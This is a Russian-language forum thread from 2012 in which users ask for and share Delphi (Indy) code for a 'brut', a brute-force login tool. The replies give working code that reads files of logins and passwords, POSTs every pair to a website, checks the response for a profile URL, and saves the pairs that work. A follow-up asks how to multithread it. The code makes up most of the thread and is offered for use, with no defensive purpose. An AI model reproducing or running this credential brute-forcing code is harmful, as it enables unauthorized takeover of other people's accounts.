|
Брут - Вопросы и ответы, обсуждения - Ваши вопросы по Pascal/Delphi только в данном разделе |
22.01.2012, 13:36
|
#1
|
|
|
|
Разведчик
|
Регистрация: 03.10.2010
Сообщений: 49
Популярность: 653
Сказал(а) спасибо: 70
Поблагодарили 31 раз(а) в 13 сообщениях
|
Брут
Как написать простой брут на Delphi? По файлам пароля и логинов.
|
|
|
22.01.2012, 13:58
|
#2
|
|
|
|
Лейтенант-командор
|
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Брут
Два цикла. Пример:
Код:
var
log,pass,data,result:TStringList;
HTTP:TIdHTTP;
i,j:integer;
validate:boolean;
begin
log:=TStringList.Create;
pass:=TStringList.Create;
result:=TStringList.Create;
log.LoadFromFile('log.txt');
pass.LoadFromFile('pass.txt');
for i:=0 to log.Count-1 do
begin
for j:=0 to pass.Count-1 do
begin
try
data:=TStringList.Create;
HTTP:=TIdHTTP.Create(nil);
data.Add('login='+log.Strings[i]);
data.Add('password='+pass.Strings[j]);
HTTP.Post('http://blabla.com/',data);
{Тут проверяем валидность отправленных логинов и паролей}
{Если аккаунт валидный, validate:=True, невалидный - False}
if validate then
begin
result.Add(log.Strings[i]+';'+pass.Strings[j]);
end;
finally
data.Free;
HTTP.Free;
end;
end;
end;
log.Free;
pass.Free;
result.SaveToFile('result.txt');
result.Free;
end;
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
25.01.2012, 22:11
|
#3
|
|
|
|
Разведчик
|
Регистрация: 10.06.2011
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: Брут
VeTaL_UA Я в роди сдала как вы писали, ну result.txt пустой
Ну я знаю что там правильный логин и пароль
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
log,pass,data,result:TStringList;
HTTP:TIdHTTP;
i,j:integer;
validate:boolean;
begin
log:=TStringList.Create;
pass:=TStringList.Create;
result:=TStringList.Create;
log.LoadFromFile('log.txt');
pass.LoadFromFile('pass.txt');
for i:=0 to log.Count-1 do
begin
for j:=0 to pass.Count-1 do
begin
try
data:=TStringList.Create;
HTTP:=TIdHTTP.Create(nil);
data.Add('auth_login='+log.Strings[i]);
data.Add('auth_password='+pass.Strings[j]);
HTTP.Post('http://dump.ru',data);
{Тут проверяем валидность отправленных логинов и паролей}
{Если аккаунт валидный, validate:=True, невалидный - False}
if validate then
begin
result.Add(log.Strings[i]+';'+pass.Strings[j]);
end;
finally
data.Free;
HTTP.Free;
end;
end;
end;
log.Free;
pass.Free;
result.SaveToFile('result.txt');
result.Free;
end;
|
|
|
26.01.2012, 08:29
|
#4
|
|
|
|
Лейтенант-командор
|
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Брут
Код:
var
log,pass,data,result:TStringList;
HTTP:TIdHTTP;
i,j:integer;
Request:String;
begin
log:=TStringList.Create;
pass:=TStringList.Create;
result:=TStringList.Create;
log.LoadFromFile('log.txt');
pass.LoadFromFile('pass.txt');
for i:=0 to log.Count-1 do
begin
for j:=0 to pass.Count-1 do
begin
try
data:=TStringList.Create;
HTTP:=TIdHTTP.Create(nil);
data.Add('login='+log.Strings[i]);
data.Add('password='+pass.Strings[j]);
Request:=HTTP.Post('http://blabla.com/',data);
if Pos('http://dump.ru/profile/',Request)<>0 then
begin
result.Add(log.Strings[i]+';'+pass.Strings[j]);
end;
finally
data.Free;
HTTP.Free;
end;
end;
end;
log.Free;
pass.Free;
result.SaveToFile('result.txt');
result.Free;
end;
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
26.01.2012, 12:22
|
#5
|
|
|
|
Старший сержант
|
Регистрация: 03.02.2011
Сообщений: 178
Популярность: 2713
Сказал(а) спасибо: 128
Поблагодарили 230 раз(а) в 110 сообщениях
|
Re: Брут
Веталь, а с многопоточностью как? Не могу разобраться. Точнее как с критическими секциями работать.
|
|
|
26.01.2012, 16:12
|
#6
|
|
|
|
Лейтенант-командор
|
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Брут
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
Пользователь сказал cпасибо:
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 01:32.
|
|